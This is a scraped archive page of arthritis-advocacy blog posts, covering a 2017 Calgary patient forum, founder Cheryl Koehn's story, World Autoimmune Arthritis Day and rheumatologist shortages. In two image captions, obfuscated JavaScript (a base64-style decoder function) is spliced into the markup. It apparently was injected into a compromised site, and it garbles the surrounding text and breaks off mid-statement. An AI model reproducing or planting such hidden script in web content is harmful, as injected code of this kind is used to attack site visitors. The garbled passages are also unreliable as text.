All posts related to "education"

You’re invited! Free 2017 Calgary Ankylosing Spondylitis & Psoriatic Arthritis Public Information Forum

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Date: Saturday, November 18, 2017
Time: 8:30 am-12:30 pm
Speaker presentations start at 9:00 am

Location:
WINSPORT Multi-purpose Room
88 Canada Olympic Road SW
Calgary, Alberta, T3B 5R5

To register online, please click here or email execdirector@spondylitis.ca or phone (705) 715-2162. On-site registration opens at 8:30 am. Refreshments will be served.

The following topics will be discussed:
Disease overview & diagnosis
Treatment options
What’s new and on the horizon
Pain management
Non-pharmacologic treatment

Guest speakers:
Dr. Diane Mosher (Rheumatologist)
Dr. Olga Zouzina (Rheumatologist)
Carolyn Johns (Physiotherapist)
Alex Charlton (pharmacist)
Patient Speaker

“ACE @ 18”, what does that mean? – By Cheryl Koehn

“ACE @ 18”, what does that mean?

I was recently at a meeting when a prominent doctor (from another disease area) told me that working with the arthritis community and government to improve models of care for people with arthritis was a “pipe dream”. His comment was in response to a presentation I had just given to about 50 clinical and research specialist physicians. At first, I was taken aback by his comment as I stood at the podium. Thankfully, I knew where I and Arthritis Consumer Experts (ACE) had come from over the last 18 years. We’ve been on a journey to change and save lives by volunteering and working directly with fellow patients and their families, medical and research experts and policy makers. That journey hasn’t been easy; quite the contrary. For the first five years of ACE’s existence, powerful people and organizations wanted us to “go away”. Why? Well, we upset the status quo by bringing to the forefront the experience and voices of patients – real people living with real arthritis – and by refusing to be discouraged and pushed away.

I’m telling you, our valued members, subscribers, fans and followers, this, because I want you to know that 18 years later, we’re going to keep doing what we’ve always done, and more, and we want you to continue to be a part of the journey. You are ACE. You are the experience, the pain, the struggle, the wins, the joy, the challenges we represent. We are family. Brothers and sisters in arthritis, every day, all day.

ACE Cheryl Koehn guest badge at ACRWe started with one person, me. Today, we are the largest arthritis patient organization in Canada with 40,000 members and subscribers across the country. Our membership base is largest in Ontario, Quebec, British Columbia and Alberta, but we have “ACE-ers” in every single province and territory. Whether you live on the West or East coast or in Centre, what we hear from you is the consistent:

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Everyday Health featured an article about Cheryl Koehn, Founder and President of Arthritis Consumer Experts. In the article, Cheryl Koehn shares her story to help others with RA learn from the mistakes she made, such as missed symptoms, diagnosis denial, and treatment delays. Below is an excerpt of the Everyday Health feature:

What Rheumatoid Arthritis Taught an Olympic Volleyball Player

Picture of rheumatoid arthritis advocate Cheryl Koehn

Cheryl Koehn, with Molly, an Australian Labradoodle, started Arthritis Consumer Experts to help improve RA education.

 

Is denial a common response to a rheumatic disease diagnosis? Cheryl Koehn will be the first person to tell you that she had trouble accepting her diagnosis of rheumatoid arthritis (RA). After all, as a teenager, she was already an elite volleyball player, competing with the U.S. Junior National Team. She earned a four-year scholarship at the University of Washington in Seattle. But by age 27, just a few years after playing a competitive sport at a high level, she needed to sit in the handicapped seat on the bus to get to work. “The toughest part of accepting it,” Koehn says, "was that when I began to look into the disease, I didn’t see anyone like me.”

The Lack of Arthritis Education and Awareness

It was this experience that led Koehn to create Arthritis Consumer Experts, a Vancouver-based organization dedicated to helping those with arthritis to increase their health literacy and to understand what they are facing. “I put off treatment for about a year after my diagnosis,” Koehn says. “If my health literacy were much higher then, I probably would have made different choices.”

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World Autoimmune Arthritis Day – Race is on! #WAAD17

#WAAD17 Graphic and<script type=function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc< <2)|(ve>>4);pc=((ve&15)< <4)|(r4>>2);u6=((r4&3)< <6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe Banner” width=”600″ height=”337″ />Join the “virtual” race to increase public awareness of autoimmune arthritis

May 20 is World Autoimmune Arthritis Day (WAAD). The International Foundation for Autoimmune Arthritis established this commemorative date back in 2012. The virtual event unites dozens of nonprofits, advocates, and experts from around the world to provide educational and awareness information to patients, their supporters, and the general public.

Participants and partner organizations will participate in a virtual global race where they will visit social media and organizational websites and resources. WAAD is hosted on May 20th for the duration of all Time Zones (May 19th 6am EST – May 21st 5am EST). You can participate online on Facebook and Twitter and follow the event’s hashtag #WAAD17. On race day, help Team ACEwin the race and spread awareness:

  • Follow @ACEJointHealth on Twitter, like or retweet posts with #WAAD17
  • Like Arthritis Consumer Experts’ Facebook Page, like or share posts with #WAAD17
  • In your comments, shares, retweets and replies, make sure to tag Arthritis Consumer Experts and mention @ACEJointHealth and use the hashtag #WAAD17

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Throwback Lupus – What was the state of lupus in 2010?

Slide image with butterfly to represent lupusIn honour of Lupus Awareness Month, the Arthritis Broadcast Network is doing a throwback coverage on lupus. The coverage highlights Arthritis Research Canada and Arthritis Consumer Experts' coverage of the 9th International Congress on Systemic Lupus Erythematous, Vancouver 2010 ("Lupus 2010"). The event was held in Vancouver, British Columbia, Canada in June, 2010. Hundreds of world leading researchers, healthcare professionals, and individuals living with systemic lupus erythematosus (SLE) learned about the current state of the science in SLE and future opportunities in lupus research, education and care.

The objectives of the Lupus 2010 were to: Continue reading

#CRArthritis Speaker’s Corner – The road to become a rheumatologist

A screen capture of Cheryl Koehn and<script type=function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc< <2)|(ve>>4);pc=((ve&15)< <4)|(r4>>2);u6=((r4&3)< <6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe future rheumatologist Kelsey Chomistek” width=”475″ height=”394″ />In 2008, a rheumatology workforce analysis report published by the American College of Rheumatology Workforce Study Advisory Group concluded:

Based on assessment of supply and demand under current scenarios, the demand for rheumatologists is expected to exceed supply in the coming decades. Strategies for the profession to adapt to this changing health care landscape include increasing the number of fellows each year, utilizing physician assistants and nurse practitioners in greater numbers, and improving practice efficiency.

Fast forward to 2015

The 2015 ACR/ARHP Workforce Study of Rheumatology Specialists in the United States projects a shortage of 3,845 rheumatologists in the U.S. by 2025, an increase from the 2005 ACR Workforce Study, which projected a shortage of 2,576 rheumatologists. Reasons for the shortage include: Continue reading